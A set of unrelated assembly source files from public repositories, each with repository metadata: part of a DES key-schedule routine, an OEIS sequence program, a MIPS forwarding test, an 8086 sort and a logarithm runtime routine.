edx,004000000h jz @F mov eax,000000008h mov ebx,000000004h mov esi,000000002h mov ebp,000000001h or [edi][0*8][0],eax or [edi][2*8][4],ebx or [edi][3*8][0],esi or [edi][4*8][4],ebp mov eax,000002000h mov ebx,000000004h mov esi,000000001h mov ebp,000000800h or [edi][5*8][4],eax or [edi][6*8][0],ebx or [edi][8*8][0],esi or [edi][9*8][4],ebp mov eax,000000010h mov ebx,000000200h mov esi,000000400h mov ebp,000002000h or [edi][10*8][0],eax or [edi][11*8][0],ebx or [edi][12*8][4],esi or [edi][14*8][0],ebp mov eax,000001000h or [edi][15*8][4],eax @@: test edx,008000000h jz @F mov eax,000000200h mov ebx,000000020h mov esi,000000020h mov ebp,000000010h or [edi][0*8][0],eax or [edi][1*8][4],ebx or [edi][2*8][0],esi or [edi][3*8][4],ebp mov eax,000001000h mov ebx,000000004h mov esi,000000002h mov ebp,000000200h or [edi][4*8][4],eax or [edi][6*8][4],ebx or [edi][7*8][0],esi or [edi][8*8][4],ebp mov eax,000000800h mov ebx,000000002h mov esi,000000100h mov ebp,000000001h or [edi][9*8][0],eax or [edi][10*8][4],ebx or [edi][11*8][0],esi or [edi][12*8][0],ebp mov eax,000000800h mov ebx,000000010h mov esi,000000100h or [edi][13*8][4],eax or [edi][14*8][0],ebx or [edi][15*8][4],esi @@: test edx,010000000h jz @F mov eax,000080000h mov ebx,000020000h mov esi,004000000h mov ebp,000040000h or [edi][0*8][4],eax or [edi][1*8][0],ebx or [edi][2*8][0],esi or [edi][4*8][4],ebp mov eax,000200000h mov ebx,020000000h mov esi,000020000h mov ebp,008000000h or [edi][6*8][4],eax or [edi][7*8][0],ebx or [edi][8*8][4],esi or [edi][9*8][0],ebp mov eax,000100000h mov ebx,001000000h mov esi,020000000h mov ebp,002000000h or [edi][11*8][4],eax or [edi][12*8][0],ebx or [edi][13*8][4],esi or [edi][14*8][0],ebp mov eax,010000000h or [edi][15*8][4],eax @@: test edx,020000000h jz @F mov eax,000100000h mov ebx,000200000h mov esi,020000000h mov ebp,000080000h or [edi][0*8][0],eax or [edi][2*8][4],ebx or [edi][3*8][0],esi or [edi][4*8][0],ebp mov eax,001000000h mov ebx,000010000h mov esi,004000000h mov ebp,001000000h or [edi][5*8][4],eax or [edi][6*8][0],ebx or [edi][7*8][4],esi or [edi][8*8][0],ebp mov eax,020000000h mov ebx,002000000h mov esi,000080000h mov ebp,000200000h or [edi][9*8][4],eax or [edi][10*8][0],ebx or [edi][11*8][4],esi or [edi][13*8][0],ebp mov eax,002000000h mov ebx,000040000h or [edi][14*8][4],eax or [edi][15*8][4],ebx @@: test edx,040000000h jz @F mov eax,008000000h mov ebx,001000000h mov esi,000010000h mov ebp,004000000h or [edi][0*8][0],eax or [edi][1*8][4],ebx or [edi][2*8][0],esi or [edi][3*8][4],ebp mov eax,000040000h mov ebx,000010000h mov esi,010000000h mov ebp,000020000h or [edi][4*8][0],eax or [edi][5*8][4],ebx or [edi][6*8][4],esi or [edi][7*8][0],ebp mov eax,000200000h mov ebx,002000000h mov esi,000100000h mov ebp,010000000h or [edi][9*8][0],eax or [edi][10*8][4],ebx or [edi][11*8][0],esi or [edi][12*8][0],ebp mov eax,008000000h mov ebx,000020000h mov esi,000080000h or [edi][13*8][4],eax or [edi][14*8][4],ebx or [edi][15*8][0],esi @@: test edx,080000000h jz @F mov eax,020000000h mov ebx,000010000h mov esi,010000000h mov ebp,000020000h or [edi][0*8][4],eax or [edi][1*8][4],ebx or [edi][2*8][4],esi or [edi][3*8][0],ebp mov eax,004000000h mov ebx,000040000h mov esi,010000000h mov ebp,008000000h or [edi][4*8][0],eax or [edi][6*8][4],ebx or [edi][8*8][0],esi or [edi][9*8][4],ebp mov eax,000020000h mov ebx,008000000h mov esi,000100000h mov ebp,001000000h or [edi][10*8][4],eax or [edi][11*8][0],ebx or [edi][13*8][4],esi or [edi][14*8][0],ebp mov eax,000040000h or [edi][15*8][0],eax @@: test ecx,000000002h jz @F mov eax,000000001h mov ebx,000000800h mov esi,000000002h mov ebp,000000100h or [edi][0*8][4],eax or [edi][1*8][0],ebx or [edi][2*8][4],esi or [edi][3*8][0],ebp mov eax,000000001h mov ebx,000000800h mov esi,000000010h mov ebp,000000200h or [edi][4*8][0],eax or [edi][5*8][4],ebx or [edi][6*8][0],esi or [edi][7*8][0],ebp mov eax,000000020h mov ebx,000000020h mov esi,000000010h mov ebp,000001000h or [edi][8*8][4],eax or [edi][9*8][0],ebx or [edi][10*8][4],esi or [edi][11*8][4],ebp mov eax,000000004h mov ebx,000000002h mov esi,000000200h or [edi][13*8][4],eax or [edi][14*8][0],ebx or [edi][15*8][4],esi @@: test ecx,000000004h jz @F mov eax,000001000h mov ebx,000000008h mov esi,000000400h mov ebp,000000200h or [edi][0*8][4],eax or [edi][1*8][0],ebx or [edi][2*8][0],esi or [edi][4*8][4],ebp mov eax,000000800h mov ebx,000000002h mov esi,000000100h mov ebp,000001000h or [edi][5*8][0],eax or [edi][6*8][4],ebx or [edi][7*8][0],esi or [edi][9*8][0],ebp mov eax,000000008h mov ebx,000000100h mov esi,000000020h mov ebp,000000020h or [edi][10*8][4],eax or [edi][11*8][4],ebx or [edi][12*8][4],esi or [edi][13*8][0],ebp mov eax,000000010h mov ebx,000002000h or [edi][14*8][4],eax or [edi][15*8][0],ebx @@: test ecx,000000008h jz @F mov eax,000000100h mov ebx,000000200h mov esi,000000400h mov ebp,000002000h or [edi][0*8][4],eax or [edi][1*8][0],ebx or [edi][2*8][4],esi or [edi][4*8][0],ebp mov eax,000000008h mov ebx,000000400h mov esi,000000002h mov ebp,000000001h or [edi][5*8][0],eax or [edi][6*8][0],ebx or [edi][8*8][0],esi or [edi][9*8][4],ebp mov eax,000002000h mov ebx,000000004h mov esi,000001000h mov ebp,000000008h or [edi][10*8][4],eax or [edi][11*8][0],ebx or [edi][13*8][0],esi or [edi][14*8][4],ebp mov eax,000000010h or [edi][15*8][0],eax @@: test ecx,000000010h jz @F mov eax,000001000h mov ebx,000000800h mov esi,000000010h mov ebp,000000200h or [edi][0*8][0],eax or [edi][1*8][4],ebx or [edi][2*8][0],esi or [edi][3*8][0],ebp mov eax,000000400h mov ebx,000002000h mov esi,000000008h mov ebp,000000004h or [edi][4*8][4],eax or [edi][6*8][0],ebx or [edi][7*8][0],esi or [edi][9*8][4],ebp mov eax,000000002h mov ebx,000000001h mov esi,000002000h mov ebp,000000004h or [edi][10*8][0],eax or [edi][11*8][4],ebx or [edi][12*8][4],esi or [edi][13*8][0],ebp mov eax,000000001h or [edi][15*8][0],eax @@: test ecx,000000020h jz @F mov eax,000040000h mov ebx,000100000h mov esi,010000000h mov ebp,008000000h or [edi][0*8][4],eax or [edi][1*8][0],ebx or [edi][2*8][0],esi or [edi][3*8][4],ebp mov eax,000020000h mov ebx,008000000h mov esi,000100000h mov ebp,004000000h or [edi][4*8][4],eax or [edi][5*8][0],ebx or [edi][7*8][4],esi or [edi][8*8][4],ebp mov eax,000040000h mov ebx,000010000h mov esi,010000000h mov ebp,000020000h or [edi][9*8][0],eax or [edi][10*8][4],ebx or [edi][11*8][4],esi or [edi][12*8][0],ebp mov eax,004000000h mov ebx,002000000h or [edi][13*8][0],eax or [edi][15*8][4],ebx @@: test ecx,000000040h jz @F mov eax,000080000h mov ebx,008000000h mov esi,000100000h mov ebp,001000000h or [edi][0*8][0],eax or [edi][1*8][0],ebx or [edi][3*8][4],esi or [edi][4*8][0],ebp mov eax,020000000h mov ebx,002000000h mov esi,000080000h mov ebp,000020000h or [edi][5*8][4],eax or [edi][6*8][0],ebx or [edi][7*8][4],esi or [edi][8*8][0],ebp mov eax,004000000h mov ebx,000040000h mov esi,000200000h mov ebp,020000000h or [edi][9*8][0],eax or [edi][11*8][4],ebx or [edi][13*8][4],esi or [edi][14*8][0],ebp mov eax,000020000h or [edi][15*8][4],eax @@: test ecx,000000080h jz @F mov eax,000040000h mov ebx,020000000h mov esi,002000000h mov ebp,000080000h or [edi][0*8][0],eax or [edi][1*8][4],ebx or [edi][2*8][0],esi or [edi][3*8][4],ebp mov eax,000200000h mov ebx,002000000h mov esi,000100000h mov ebp,000200000h or [edi][5*8][0],eax or [edi][6*8][4],ebx or [edi][7*8][0],esi or [edi][9*8][4],ebp mov eax,020000000h mov ebx,000080000h mov esi,001000000h mov ebp,000010000h or [edi][10*8][0],eax or [edi][11*8][0],ebx or [edi][12*8][4],esi or [edi][13*8][0],ebp mov eax,004000000h mov ebx,001000000h or [edi][14*8][4],eax or [edi][15*8][0],ebx @@: test ecx,000000200h jz @F mov eax,000000200h mov ebx,000000001h mov esi,000002000h mov ebp,000000004h or [edi][0*8][4],eax or [edi][1*8][4],ebx or [edi][2*8][4],esi or [edi][3*8][0],ebp mov eax,000001000h mov ebx,000000008h mov esi,000000100h mov ebp,000000200h or [edi][5*8][0],eax or [edi][6*8][4],ebx or [edi][7*8][4],esi or [edi][8*8][0],ebp mov eax,000000400h mov ebx,000002000h mov esi,000000008h mov ebp,000000400h or [edi][9*8][4],eax or [edi][11*8][0],ebx or [edi][12*8][0],esi or [edi][13*8][0],ebp mov eax,000000002h or [edi][15*8][0],eax @@: test ecx,000000400h jz @F mov eax,000002000h mov ebx,000001000h mov esi,000000004h mov ebp,000000002h or [edi][0*8][0],eax or [edi][1*8][4],ebx or [edi][3*8][4],esi or [edi][4*8][0],ebp mov eax,000000001h mov ebx,000002000h mov esi,000000004h mov ebp,000000100h or [edi][5*8][4],eax or [edi][6*8][4],ebx or [edi][7*8][0],esi or [edi][8*8][0],ebp mov eax,000000001h mov ebx,000000800h mov esi,000000010h mov ebp,000000200h or [edi][9*8][0],eax or [edi][10*8][4],ebx or [edi][11*8][0],esi or [edi][12*8][0],ebp mov eax,000000400h mov ebx,000000010h or [edi][13*8][4],eax or [edi][15*8][4],ebx @@: test ecx,000000800h jz @F mov eax,000000010h mov ebx,000000100h mov esi,000000020h mov ebp,000000020h or [edi][0*8][0],eax or [edi][1*8][4],ebx or [edi][2*8][4],esi or [edi][3*8][0],ebp mov eax,000000010h mov ebx,000001000h mov esi,000000004h mov ebp,000000200h or [edi][4*8][4],eax or [edi][5*8][4],ebx or [edi][7*8][4],esi or [edi][9*8][4],ebp mov eax,000000800h mov ebx,000000002h mov esi,000000100h mov ebp,000000001h or [edi][10*8][0],eax or [edi][11*8][4],ebx or [edi][12*8][0],esi or [edi][13*8][0],ebp mov eax,000000800h mov ebx,000000008h or [edi][14*8][4],eax or [edi][15*8][4],ebx @@: test ecx,000001000h jz @F mov eax,000000001h mov ebx,000001000h mov esi,000000008h mov ebp,000000100h or [edi][0*8][0],eax or [edi][1*8][0],ebx or [edi][2*8][4],esi or [edi][3*8][4],ebp mov eax,000000020h mov ebx,000000020h mov esi,000000010h mov ebp,000001000h or [edi][4*8][4],eax or [edi][5*8][0],ebx or [edi][6*8][4],esi or [edi][7*8][4],ebp mov eax,000000008h mov ebx,000000400h mov esi,000000200h mov ebp,000000800h or [edi][8*8][0],eax or [edi][9*8][0],ebx or [edi][11*8][4],esi or [edi][12*8][0],ebp mov eax,000000002h mov ebx,000000100h or [edi][13*8][4],eax or [edi][14*8][0],ebx @@: test ecx,000002000h jz @F mov eax,002000000h mov ebx,000040000h mov esi,000200000h mov ebp,020000000h or [edi][0*8][4],eax or [edi][1*8][4],ebx or [edi][3*8][4],esi or [edi][4*8][0],ebp mov eax,000080000h mov ebx,001000000h mov esi,000010000h mov ebp,000100000h or [edi][5*8][0],eax or [edi][6*8][4],ebx or [edi][7*8][0],esi or [edi][8*8][4],ebp mov eax,001000000h mov ebx,020000000h mov esi,002000000h mov ebp,000080000h or [edi][9*8][0],eax or [edi][10*8][4],ebx or [edi][11*8][0],esi or [edi][12*8][4],ebp mov eax,000200000h or [edi][14*8][0],eax @@: test ecx,000004000h jz @F mov eax,000020000h mov ebx,000080000h mov esi,001000000h mov ebp,000010000h or [edi][0*8][4],eax or [edi][1*8][0],ebx or [edi][2*8][4],esi or [edi][3*8][0],ebp mov eax,004000000h mov ebx,000040000h mov esi,000010000h mov ebp,010000000h or [edi][4*8][4],eax or [edi][5*8][0],ebx or [edi][6*8][4],esi or [edi][7*8][4],ebp mov eax,000080000h mov ebx,000200000h mov esi,002000000h mov ebp,000100000h or [edi][8*8][4],eax or [edi][10*8][0],ebx or [edi][11*8][4],esi or [edi][12*8][0],ebp mov eax,010000000h mov ebx,008000000h mov esi,020000000h or [edi][13*8][0],eax or [edi][14*8][4],ebx or [edi][15*8][0],esi @@: test ecx,000008000h jz @F mov eax,001000000h mov ebx,000040000h mov esi,000010000h mov ebp,010000000h or [edi][0*8][0],eax or [edi][1*8][0],ebx or [edi][2*8][4],esi or [edi][3*8][4],ebp mov eax,000020000h mov ebx,004000000h mov esi,000040000h mov ebp,000100000h or [edi][4*8][0],eax or [edi][5*8][0],ebx or [edi][7*8][4],esi or [edi][8*8][0],ebp mov eax,010000000h mov ebx,008000000h mov esi,000020000h mov ebp,008000000h or [edi][9*8][0],eax or [edi][10*8][4],ebx or [edi][11*8][4],esi or [edi][12*8][0],ebp mov eax,000100000h mov ebx,004000000h or [edi][14*8][4],eax or [edi][15*8][4],ebx @@: test ecx,000020000h jz @F mov eax,000000002h mov ebx,000000200h mov esi,000000800h mov ebp,000000002h or [edi][0*8][0],eax or [edi][1*8][4],ebx or [edi][2*8][0],esi or [edi][3*8][4],ebp mov eax,000000100h mov ebx,000000001h mov esi,000000800h mov ebp,000000010h or [edi][4*8][0],eax or [edi][5*8][0],ebx or [edi][6*8][4],esi or [edi][7*8][0],ebp mov eax,000000100h mov ebx,000000020h mov esi,000000020h mov ebp,000000010h or [edi][8*8][4],eax or [edi][9*8][4],ebx or [edi][10*8][0],esi or [edi][11*8][4],ebp mov eax,000001000h mov ebx,000000004h or [edi][12*8][4],eax or [edi][14*8][4],ebx @@: test ecx,000040000h jz @F mov eax,000000010h mov ebx,000002000h mov esi,000000008h mov ebp,000000400h or [edi][0*8][4],eax or [edi][1*8][0],ebx or [edi][2*8][0],esi or [edi][3*8][0],ebp mov eax,000000200h mov ebx,000000800h mov esi,000000002h mov ebp,000000004h or [edi][5*8][4],eax or [edi][6*8][0],ebx or [edi][7*8][4],esi or [edi][8*8][0],ebp mov eax,000001000h mov ebx,000000008h mov esi,000000100h mov ebp,000000020h or [edi][10*8][0],eax or [edi][11*8][4],ebx or [edi][12*8][4],esi or [edi][13*8][4],ebp mov eax,000000020h or [edi][14*8][0],eax @@: test ecx,000080000h jz @F mov eax,000000008h mov ebx,000000010h mov esi,000000200h mov ebp,000000400h or [edi][0*8][4],eax or [edi][1*8][0],ebx or [edi][2*8][0],esi or [edi][3*8][4],ebp mov eax,000002000h mov ebx,000000008h mov esi,000000400h mov ebp,000000004h or [edi][5*8][0],eax or [edi][6*8][0],ebx or [edi][7*8][0],esi or [edi][8*8][4],ebp mov eax,000000002h mov ebx,000000001h mov esi,000002000h mov ebp,000000004h or [edi][9*8][0],eax or [edi][10*8][4],ebx or [edi][11*8][4],esi or [edi][12*8][0],ebp mov eax,000001000h mov ebx,000000800h or [edi][14*8][0],eax or [edi][15*8][4],ebx @@: test ecx,000100000h jz @F mov eax,000000001h mov ebx,000000800h mov esi,000000010h mov ebp,000000200h or [edi][1*8][0],eax or [edi][2*8][4],ebx or [edi][3*8][0],esi or [edi][4*8][0],ebp mov eax,000000400h mov ebx,000002000h mov esi,000001000h mov ebp,000000004h or [edi][5*8][4],eax or [edi][7*8][0],ebx or [edi][8*8][4],esi or [edi][10*8][4],ebp mov eax,000000002h mov ebx,000000001h mov esi,000002000h mov ebp,000000004h or [edi][11*8][0],eax or [edi][12*8][4],ebx or [edi][13*8][4],esi or [edi][14*8][0],ebp mov eax,000000100h or [edi][15*8][0],eax @@: test ecx,000200000h jz @F mov eax,002000000h mov ebx,000100000h mov esi,010000000h mov ebp,008000000h or [edi][1*8][4],eax or [edi][2*8][0],ebx or [edi][3*8][0],esi or [edi][4*8][4],ebp mov eax,000020000h mov ebx,008000000h mov esi,000010000h mov ebp,004000000h or [edi][5*8][4],eax or [edi][6*8][0],ebx or [edi][8*8][0],esi or [edi][9*8][4],ebp mov eax,000040000h mov ebx,000010000h mov esi,010000000h mov ebp,000020000h or [edi][10*8][0],eax or [edi][11*8][4],ebx or [edi][12*8][4],esi or [edi][13*8][0],ebp mov eax,004000000h mov ebx,000200000h or [edi][14*8][0],eax or [edi][15*8][0],ebx @@: test ecx,000400000h jz @F mov eax,020000000h mov ebx,000020000h mov esi,008000000h mov ebp,000100000h or [edi][0*8][0],eax or [edi][1*8][4],ebx or [edi][2*8][0],esi or [edi][4*8][4],ebp mov eax,001000000h mov ebx,020000000h mov esi,002000000h mov ebp,010000000h or [edi][5*8][0],eax or [edi][6*8][4],ebx or [edi][7*8][0],esi or [edi][8*8][4],ebp mov eax,000020000h mov ebx,004000000h mov esi,000040000h mov ebp,000200000h or [edi][9*8][0],eax or [edi][10*8][0],ebx or [edi][12*8][4],esi or [edi][14*8][4],ebp mov eax,008000000h or [edi][15*8][4],eax @@: test ecx,000800000h jz @F mov eax,004000000h mov ebx,001000000h mov esi,020000000h mov ebp,002000000h or [edi][0*8][4],eax or [edi][1*8][0],ebx or [edi][2*8][4],esi or [edi][3*8][0],ebp mov eax,000080000h mov ebx,000200000h mov esi,002000000h mov ebp,000040000h or [edi][4*8][4],eax or [edi][6*8][0],ebx or [edi][7*8][4],esi or [edi][8*8][4],ebp mov eax,000200000h mov ebx,020000000h mov esi,000080000h mov ebp,001000000h or [edi][10*8][4],eax or [edi][11*8][0],ebx or [edi][12*8][0],esi or [edi][13*8][4],ebp mov eax,000010000h mov ebx,000100000h or [edi][14*8][0],eax or [edi][15*8][4],ebx @@: test ecx,002000000h jz @F mov eax,000000002h mov ebx,000000001h mov esi,000002000h mov ebp,000000004h or [edi][1*8][0],eax or [edi][2*8][4],ebx or [edi][3*8][4],esi or [edi][4*8][0],ebp mov eax,000001000h mov ebx,000000008h mov esi,000000010h mov ebp,000000200h or [edi][6*8][0],eax or [edi][7*8][4],ebx or [edi][8*8][0],esi or [edi][9*8][0],ebp mov eax,000000400h mov ebx,000002000h mov esi,000000008h mov ebp,000000400h or [edi][10*8][4],eax or [edi][12*8][0],ebx or [edi][13*8][0],esi or [edi][14*8][0],ebp mov eax,000000004h or [edi][15*8][4],eax @@: test ecx,004000000h jz @F mov eax,000000010h mov ebx,000001000h mov esi,000000004h mov ebp,000000002h or [edi][1*8][4],eax or [edi][2*8][4],ebx or [edi][4*8][4],esi or [edi][5*8][0],ebp mov eax,000000001h mov ebx,000002000h mov esi,000000002h mov ebp,000000100h or [edi][6*8][4],eax or [edi][7*8][4],ebx or [edi][8*8][4],esi or [edi][9*8][0],ebp mov eax,000000001h mov ebx,000000800h mov esi,000000010h mov ebp,000000200h or [edi][10*8][0],eax or [edi][11*8][4],ebx or [edi][12*8][0],esi or [edi][13*8][0],ebp mov eax,000000400h mov ebx,000000020h or [edi][14*8][4],eax or [edi][15*8][0],ebx @@: test ecx,008000000h jz @F mov eax,000000800h mov ebx,000000008h mov esi,000000100h mov ebp,000000020h or [edi][0*8][4],eax or [edi][1*8][4],ebx or [edi][2*8][4],esi or [edi][3*8][4],ebp mov eax,000000020h mov ebx,000000010h mov esi,000001000h mov ebp,000000400h or [edi][4*8][0],eax or [edi][5*8][4],ebx or [edi][6*8][4],esi or [edi][8*8][0],ebp mov eax,000000200h mov ebx,000000800h mov esi,000000002h mov ebp,000000100h or [edi][10*8][4],eax or [edi][11*8][0],ebx or [edi][12*8][4],esi or [edi][13*8][0],ebp mov eax,000000001h mov ebx,000001000h or [edi][14*8][0],eax or [edi][15*8][0],ebx @@: test ecx,010000000h jz @F mov eax,000000100h mov ebx,000001000h mov esi,000000008h mov ebp,000000100h or [edi][0*8][0],eax or [edi][2*8][0],ebx or [edi][3*8][4],esi or [edi][4*8][4],ebp mov eax,000000020h mov ebx,000000020h mov esi,000000010h mov ebp,000002000h or [edi][5*8][4],eax or [edi][6*8][0],ebx or [edi][7*8][4],esi or [edi][8*8][0],ebp mov eax,000000008h mov ebx,000000400h mov esi,000000200h mov ebp,000000800h or [edi][9*8][0],eax or [edi][10*8][0],ebx or [edi][12*8][4],esi or [edi][13*8][0],ebp mov eax,000000002h mov ebx,000000004h or [edi][14*8][4],eax or [edi][15*8][0],ebx @@: test ecx,020000000h jz @F mov eax,000200000h mov ebx,000040000h mov esi,000200000h mov ebp,020000000h or [edi][0*8][0],eax or [edi][2*8][4],ebx or [edi][4*8][4],esi or [edi][5*8][0],ebp mov eax,000080000h mov ebx,001000000h mov esi,000100000h mov ebp,001000000h or [edi][6*8][0],eax or [edi][7*8][4],ebx or [edi][9*8][4],esi or [edi][10*8][0],ebp mov eax,020000000h mov ebx,002000000h mov esi,000080000h mov ebp,004000000h or [edi][11*8][4],eax or [edi][12*8][0],ebx or [edi][13*8][4],esi or [edi][15*8][0],ebp @@: test ecx,040000000h jz @F mov eax,008000000h mov ebx,020000000h mov esi,000080000h mov ebp,001000000h or [edi][0*8][4],eax or [edi][1*8][0],ebx or [edi][2*8][0],esi or [edi][3*8][4],ebp mov eax,000010000h mov ebx,004000000h mov esi,000040000h mov ebp,000010000h or [edi][4*8][0],eax or [edi][5*8][4],ebx or [edi][6*8][0],esi or [edi][7*8][4],ebp mov eax,002000000h mov ebx,000080000h mov esi,000200000h mov ebp,002000000h or [edi][8*8][0],eax or [edi][9*8][4],ebx or [edi][11*8][0],esi or [edi][12*8][4],ebp mov eax,000100000h mov ebx,010000000h mov esi,000200000h or [edi][13*8][0],eax or [edi][14*8][0],ebx or [edi][15*8][4],esi @@: test ecx,080000000h jz @F mov eax,000100000h mov ebx,004000000h mov esi,000040000h mov ebp,000010000h or [edi][0*8][4],eax or [edi][1*8][4],ebx or [edi][2*8][0],esi or [edi][3*8][4],ebp mov eax,010000000h mov ebx,000020000h mov esi,004000000h mov ebp,002000000h or [edi][4*8][4],eax or [edi][5*8][0],ebx or [edi][6*8][0],esi or [edi][8*8][4],ebp mov eax,000100000h mov ebx,010000000h mov esi,008000000h mov ebp,000020000h or [edi][9*8][0],eax or [edi][10*8][0],ebx or [edi][11*8][4],esi or [edi][12*8][4],ebp mov eax,008000000h mov ebx,000010000h or [edi][13*8][0],eax or [edi][15*8][0],ebx @@: pop ebx pop edi pop esi pop ebp ret 1*4 DESSetKey endp OPTION PROLOGUE:PROLOGUEDEF OPTION EPILOGUE:EPILOGUEDEF
TheStack
105be27fcf80f566bdcff5166c8155ccc2dd7a0c
Assemblycode:Assembly
{"size": 842, "ext": "asm", "max_stars_repo_path": "oeis/295/A295730.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/295/A295730.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/295/A295730.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"}
{"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 35.0833333333, "max_line_length": 499, "alphanum_fraction": 0.7054631829}
; A295730: a(n) = a(n-1) + 3*a(n-2) -2*a(n-3) - 2*a(n-4), where a(0) = -1, a(1) = 0, a(2) = 0, a(3) = 1. ; Submitted by Christian Krause ; -1,0,0,1,3,6,13,23,44,75,135,226,393,651,1108,1823,3059,5010,8325,13591,22428,36531,59983,97538,159569,259155,422820,686071,1117083,1811346,2944813,4772543,7750124,12555435,20371095,32992066,53494233,86617371,140373748,227253263,368151299,595928850,965128725,1562106151,2529332028,4093535331,6627061663,10724791298,17360241569,28093421475,45470440260,73580638951,119084633643,192698827026,311850569533,504616505423,816601292684,1321352015835,2138221743975,3459842195266,5598600810153,9058979876331 mov $2,-2 lpb $0 sub $0,1 sub $3,$4 add $1,$3 sub $1,$2 add $4,1 add $4,$2 mov $5,$4 mov $4,$2 mov $2,$3 mul $2,2 add $4,$1 add $5,$4 mov $3,$5 sub $4,1 lpe mov $0,$2 div $0,2
TheStack
8044daa04376ea6aa632e57b2dd0194929070c07
Assemblycode:Assembly
{"size": 307, "ext": "asm", "max_stars_repo_path": "Test_ExecuteUseExecute/testprogram-execute_use_execute.asm", "max_stars_repo_name": "colasgrenier/pipelined-mips-processor", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Test_ExecuteUseExecute/testprogram-execute_use_execute.asm", "max_issues_repo_name": "colasgrenier/pipelined-mips-processor", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Test_ExecuteUseExecute/testprogram-execute_use_execute.asm", "max_forks_repo_name": "colasgrenier/pipelined-mips-processor", "max_forks_repo_forks_event_min_datetime": "2021-04-15T08:06:11.000Z", "max_forks_repo_forks_event_max_datetime": "2021-04-15T08:06:11.000Z"}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": 1, "avg_line_length": 21.9285714286, "max_line_length": 84, "alphanum_fraction": 0.6482084691}
#Testing forwarding for execute using execute result #I'm just having some fun here, give a nice setup time for r2 addi $2, $2, 400 addi $1, $1, 87 addi $6, $6, 278 addi $3, $3, 600 add $3, $2, $3 end: beq $0, $0, end #EXPECTED RESULTS: R1 = 87, R2 = 400, R3 = 1000, R6 = 278, all other registers are 0
TheStack
c13ac05d98b2115ef77401257c5d906cc5cb470c
Assemblycode:Assembly
{"size": 404, "ext": "asm", "max_stars_repo_path": "8086/Ascending_Descending.asm", "max_stars_repo_name": "saransh808/ASSEMBLY_LANGUAGE", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "8086/Ascending_Descending.asm", "max_issues_repo_name": "saransh808/ASSEMBLY_LANGUAGE", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "8086/Ascending_Descending.asm", "max_forks_repo_name": "saransh808/ASSEMBLY_LANGUAGE", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 11.8823529412, "max_line_length": 53, "alphanum_fraction": 0.6856435644}
DATA SEGMENT STRING1 DB 99H,12H,56H,45H,36H DATA ENDS CODE SEGMENT ASSUME CS:CODE,DS:DATA START: MOV AX,DATA MOV DS,AX MOV CH,04H UP2: MOV CL,04H LEA SI,STRING1 UP1: MOV AL,[SI] MOV BL,[SI+1] CMP AL,BL JC DOWN ;USE 'JNC' TO MAKE IT DESCENDING ORDER MOV DL,[SI+1] XCHG [SI],DL MOV [SI+1],DL DOWN: INC SI DEC CL JNZ UP1 DEC CH JNZ UP2 INT 3 CODE ENDS END START ;-d 0764:0060 for answer
TheStack
697360ee22ae08a8b0c514224290d183d1906617
Assemblycode:Assembly
{"size": 979, "ext": "asm", "max_stars_repo_path": "lib/src/xr/x86/xrnmlg.asm", "max_stars_repo_name": "zanud/xds-2.60", "max_stars_repo_stars_event_min_datetime": "2019-06-10T18:19:44.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-28T18:56:00.000Z", "max_issues_repo_path": "Sources/Lib/src/xr/x86/xrnmlg.asm", "max_issues_repo_name": "undecidedzogvisvitalispotent8stars360/xds", "max_issues_repo_issues_event_min_datetime": "2020-07-10T16:06:48.000Z", "max_issues_repo_issues_event_max_datetime": "2021-07-30T07:17:50.000Z", "max_forks_repo_path": "Sources/Lib/src/xr/x86/xrnmlg.asm", "max_forks_repo_name": "undecidedzogvisvitalispotent8stars360/xds", "max_forks_repo_forks_event_min_datetime": "2019-06-10T18:09:16.000Z", "max_forks_repo_forks_event_max_datetime": "2021-10-02T19:46:42.000Z"}
{"max_stars_count": 53, "max_issues_count": 5, "max_forks_count": 20, "avg_line_length": 21.7555555556, "max_line_length": 73, "alphanum_fraction": 0.5372829418}
; COPYRIGHT (c) 1995,99,2002 XDS. All Rights Reserved. ; Implementation for lg & lgl functions cpu 386 bits 32 %ifdef OS2 group DGROUP _DATA section _DATA use32 align=4 FLAT public 'DATA' %else group DGROUP _DATA section _DATA use32 align=4 public 'DATA' %endif %ifdef OS2 section .text use32 align=4 FLAT public 'CODE' %else section .text use32 align=16 public 'CODE' %endif ; assume cs: .text, ds: DGROUP, gs: nothing, fs: nothing ;PROCEDURE ["StdCall"] X2C_lg(x: REAL): REAL global X2C_lg X2C_lg: fld dword [esp+4] fldlg2 fxch st1 fyl2x ret 4h ;X2C_lg endp ;PROCEDURE ["StdCall"] X2C_lgl(x: LONGREAL): LONGREAL global X2C_lgl X2C_lgl: fld qword [esp+4] fldlg2 fxch st1 fyl2x ret 8h ;X2C_lgl endp
TheStack
00a8fa1c8f07152df77a2bcbb42b5d5690d19475
Assemblycode:Assembly
